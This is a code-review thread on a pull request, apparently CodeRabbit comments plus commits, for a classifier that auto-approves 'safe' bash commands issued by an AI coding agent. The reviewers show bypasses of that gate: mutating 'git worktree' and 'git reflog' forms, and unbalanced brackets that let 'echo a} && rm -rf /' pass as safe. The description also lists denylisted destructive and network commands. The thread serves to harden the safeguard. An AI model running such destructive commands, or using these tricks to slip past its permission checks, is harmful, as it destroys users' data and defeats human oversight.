git worktree add ../x/git worktree remove --force x→ create/delete worktrees on disk → SAFEgit reflog expire --expire=now --all/git reflog delete→ rewrite reflog → SAFE
Neither matches the -D/--delete/... flag filter in the safe gate, so both auto-approve. This broadens allowed behavior for state-mutating git operations.
🔒 Suggested handling (mirror the stash/config pattern)
git: args => {
if (args.length === 0) return false
const sub = args[0]
const MUTATING_SUBCOMMANDS = new Set([
...
])
if (MUTATING_SUBCOMMANDS.has(sub)) return true
+ const rest0 = args.slice(1)
+ if (sub === 'worktree') {
+ return rest0[0] === 'add' || rest0[0] === 'remove' || rest0[0] === 'move' || rest0[0] === 'prune'
+ }
+ if (sub === 'reflog') {
+ return rest0[0] === 'expire' || rest0[0] === 'delete'
+ }(Read-only forms like git worktree list / git reflog show then still pass the safe gate.) As per path instructions, block on changes that "broaden allowed behavior without an explicit maintainer decision."
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| git: args => { | |
| if (args.length === 0) return true // `git` alone shows usage | |
| const sub = args[0] | |
| const READ_ONLY_SUBCOMMANDS = new Set([ | |
| 'status', | |
| 'log', | |
| 'diff', | |
| 'show', | |
| 'branch', | |
| 'tag', | |
| 'remote', | |
| 'rev-parse', | |
| 'rev-list', | |
| 'ls-files', | |
| 'ls-remote', | |
| 'ls-tree', | |
| 'blame', | |
| 'shortlog', | |
| 'describe', | |
| 'reflog', | |
| 'worktree', | |
| 'fetch', | |
| 'help', | |
| '--version', | |
| '--help', | |
| 'whatchanged', | |
| 'cat-file', | |
| 'show-ref', | |
| 'symbolic-ref', | |
| 'name-rev', | |
| 'count-objects', | |
| 'fsck', | |
| 'grep', | |
| ]) | |
| // stash is safe only for read subcommands (list, show). Bare `git stash` | |
| // is equivalent to `git stash push` — mutates the working tree. | |
| if (sub === 'stash') { | |
| const rest = args.slice(1) | |
| return rest[0] === 'list' || rest[0] === 'show' | |
| } | |
| if (!READ_ONLY_SUBCOMMANDS.has(sub)) return false | |
| // `git branch -D`, `git branch --delete`, `git tag -d`, etc. mutate. | |
| return !args.some( | |
| a => | |
| a === '-D' || | |
| a === '--delete' || | |
| a === '--force-delete' || | |
| a === 'drop' || | |
| a === 'clear' || | |
| a === '-d' && sub === 'branch' || | |
| a === '-d' && sub === 'tag' || | |
| a === '-m' && sub === 'stash', | |
| ) | |
| }, | |
| git: args => { | |
| if (args.length === 0) return true // `git` alone shows usage | |
| const sub = args[0] | |
| const READ_ONLY_SUBCOMMANDS = new Set([ | |
| 'status', | |
| 'log', | |
| 'diff', | |
| 'show', | |
| 'branch', | |
| 'tag', | |
| 'remote', | |
| 'rev-parse', | |
| 'rev-list', | |
| 'ls-files', | |
| 'ls-remote', | |
| 'ls-tree', | |
| 'blame', | |
| 'shortlog', | |
| 'describe', | |
| 'reflog', | |
| 'worktree', | |
| 'fetch', | |
| 'help', | |
| '--version', | |
| '--help', | |
| 'whatchanged', | |
| 'cat-file', | |
| 'show-ref', | |
| 'symbolic-ref', | |
| 'name-rev', | |
| 'count-objects', | |
| 'fsck', | |
| 'grep', | |
| ]) | |
| // stash is safe only for read subcommands (list, show). Bare `git stash` | |
| // is equivalent to `git stash push` — mutates the working tree. | |
| if (sub === 'stash') { | |
| const rest = args.slice(1) | |
| return rest[0] === 'list' || rest[0] === 'show' | |
| } | |
| // worktree is safe only for list and list-all (read operations). | |
| // add, remove, move, prune mutate the working directory. | |
| if (sub === 'worktree') { | |
| const rest = args.slice(1) | |
| return rest[0] === 'list' || rest[0] === 'list-all' | |
| } | |
| // reflog is safe only for show (read operation). | |
| // expire and delete mutate the reflog database. | |
| if (sub === 'reflog') { | |
| const rest = args.slice(1) | |
| return rest[0] === 'show' | |
| } | |
| if (!READ_ONLY_SUBCOMMANDS.has(sub)) return false | |
| // `git branch -D`, `git branch --delete`, `git tag -d`, etc. mutate. | |
| return !args.some( | |
| a => | |
| a === '-D' || | |
| a === '--delete' || | |
| a === '--force-delete' || | |
| a === 'drop' || | |
| a === 'clear' || | |
| a === '-d' && sub === 'branch' || | |
| a === '-d' && sub === 'tag' || | |
| a === '-m' && sub === 'stash', | |
| ) | |
| }, |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/utils/permissions/bashCommandSafety.ts` around lines 162 - 215, The git
function has `worktree` and `reflog` in READ_ONLY_SUBCOMMANDS, but these
subcommands have mutating forms like `git worktree add`, `git worktree remove
--force`, `git reflog expire`, and `git reflog delete` that should not be
allowed. Add special case checks for both `worktree` and `reflog` subcommands
that mirror the existing stash handling pattern - add conditional blocks that
only allow specific safe sub-operations like `list` and `show` for these
commands, and return false for other variants that would mutate state. This
should be done before the general READ_ONLY_SUBCOMMANDS check.
Source: Path instructions
| if (c === '(' || c === '{') { | ||
| parenDepth++ | ||
| current += c | ||
| i++ | ||
| continue | ||
| } | ||
| if (c === ')' || c === '}') { | ||
| parenDepth-- | ||
| current += c | ||
| i++ | ||
| continue | ||
| } | ||
| if (parenDepth === 0) { | ||
| if ((c === '&' && next === '&') || (c === '|' && next === '|')) { | ||
| parts.push(current) | ||
| current = '' | ||
| i += 2 | ||
| continue | ||
| } | ||
| // Newline is a statement separator in bash, equivalent to ';'. | ||
| if (c === ';' || c === '|' || c === '&' || c === '\n') { | ||
| parts.push(current) | ||
| current = '' | ||
| i++ | ||
| continue | ||
| } | ||
| } |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
CRITICAL — Unbalanced parens/braces disable compound splitting → safe bypass.
parenDepth is decremented unconditionally on }/) and incremented on unmatched (/{, but the operator split only fires when parenDepth === 0. An unbalanced close pushes depth negative (or an unbalanced open keeps it positive), so top-level &&/;/|/newline are no longer split — the whole line collapses into one leaf.
echo a} && rm -rf / → depth goes to -1 at } → && never splits → single echo leaf → SAFE. The worst-case dominance is silently defeated and rm -rf / rides through.
This sits exactly on the LLM→shell trust boundary, so a false safe here auto-approves destructive commands.
Minimum fix is to clamp the depth so it can't go negative, and treat a left-over imbalance as unknown rather than collapsing into a benign leaf:
🔒 Proposed fix
if (c === ')' || c === '}') {
- parenDepth--
+ if (parenDepth > 0) parenDepth--
current += c
i++
continue
}Additionally consider degrading to unknown when parenDepth !== 0 after the loop (unbalanced open paren such as echo ( && rm -rf / otherwise still swallows the operator). A regression test for echo a} && rm -rf / and echo ( && rm -rf / should accompany the fix.
As per path instructions, permission/sandbox paths must block on "bypasses ... or changes that broaden allowed behavior."
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/utils/permissions/bashCommandSafety.ts` around lines 592 - 618, The
parenDepth counter in the operator splitting logic can go negative when
encountering unbalanced closing brackets, which silently disables operator
detection at the top level (parenDepth === 0 check). This allows dangerous
operators like && and | to hide inside what appears to be a benign command leaf.
Fix this by preventing parenDepth from going below zero when decrementing on
close brackets (clamp it to 0), and after the main parsing loop completes, check
if parenDepth is not zero (indicating unbalanced open brackets). If parenDepth
is non-zero at the end, return unknown safety status rather than proceeding to
mark the command as safe, since an imbalanced structure indicates a parsing
failure. Add regression tests for both cases: unbalanced closing brackets like
echo a} && rm -rf / and unbalanced opening brackets like echo ( && rm -rf / to
ensure neither can bypass the safety check.
Source: Path instructions
|
not relevant anymore closing this . |
`node --version` and `python --version` are auto-approved as read-only Bash, but `npm`, `bun`, and `tsc` version queries were missing from the allowlist, so they fell through to a permission prompt. Add them in the same exact-anchored form (no trailing args) so a version flag can't smuggle a script-running suffix past the check (the `node -v --run <task>` class of bypass). Closes the only read-only gap that the now-superseded #787 classifier covered, without a parallel classification surface. Testing: new readOnlyValidation.test.ts (18 cases — allows -v/--version, rejects install/suffixed forms); tsc clean; BashTool suite 117 pass. Co-authored-by: OpenClaude <openclaude@gitlawb.com>
…#1759) `node --version` and `python --version` are auto-approved as read-only Bash, but `npm`, `bun`, and `tsc` version queries were missing from the allowlist, so they fell through to a permission prompt. Add them in the same exact-anchored form (no trailing args) so a version flag can't smuggle a script-running suffix past the check (the `node -v --run <task>` class of bypass). Closes the only read-only gap that the now-superseded Twigpine#787 classifier covered, without a parallel classification surface. Testing: new readOnlyValidation.test.ts (18 cases — allows -v/--version, rejects install/suffixed forms); tsc clean; BashTool suite 117 pass. Co-authored-by: OpenClaude <openclaude@gitlawb.com> (cherry picked from commit bcf9421) (cherry picked from commit 344e5d602f8b4a981ba6ec470fe12a4ece62d6ba)
External OpenClaude builds stub out yoloClassifier (Anthropic-internal, gated on feature('TRANSCRIPT_CLASSIFIER') + USER_TYPE === 'ant'), so every Bash invocation outside the static safe-tool allowlist currently prompts the user. That turns "run my grep" and "check git status" into permission-prompt fatigue for anyone using OpenClaude with an external provider.
Adds a pure pattern-based classifier that works without the LLM, without the internal feature flag, and with zero latency cost.
New module src/utils/permissions/bashCommandSafety.ts:
classifyBashSafety(command) → { safety: 'safe' | 'unsafe' | 'unknown',
reason: string,
parts?: SafetyVerdict[] }
Safe allowlist covers read-only filesystem inspection (cat, head, tail, stat, wc), listing/search (ls, find without -exec/-delete, grep, rg), version queries (node/npm/bun/python/go/cargo/tsc --version), and git read-only subcommands (status, log, diff, show, blame, branch -v, etc.).
Unsafe denylist covers destructive commands (rm, dd, shred, mkfs), privilege / mutation (sudo, chmod, chown, kill), process control (shutdown, systemctl), package-manager mutations (npm install, brew, apt-get, bun add), network I/O (curl, wget, ssh, rsync), destructive git subcommands (push, commit, reset, rebase, clean, checkout) PLUS destructive flags on otherwise-read-only subcommands (git branch -D, git stash drop, git tag -d, git remote remove, git config --unset).
Compound commands (&&, ||, ;, |, parens) are split and classified individually; overall verdict is the worst case. File redirection (>, >>, 2>, tee) degrades to 'unknown'. Command substitution ($(…),
…) and unbalanced quotes degrade to 'unknown' — false-negative bias, never false-positive.This ships as a primitive. Wiring it into the permission pipeline (so 'safe' verdicts auto-approve and 'unsafe' verdicts always prompt) is a follow-up PR once the classification surface is reviewed.
Summary by CodeRabbit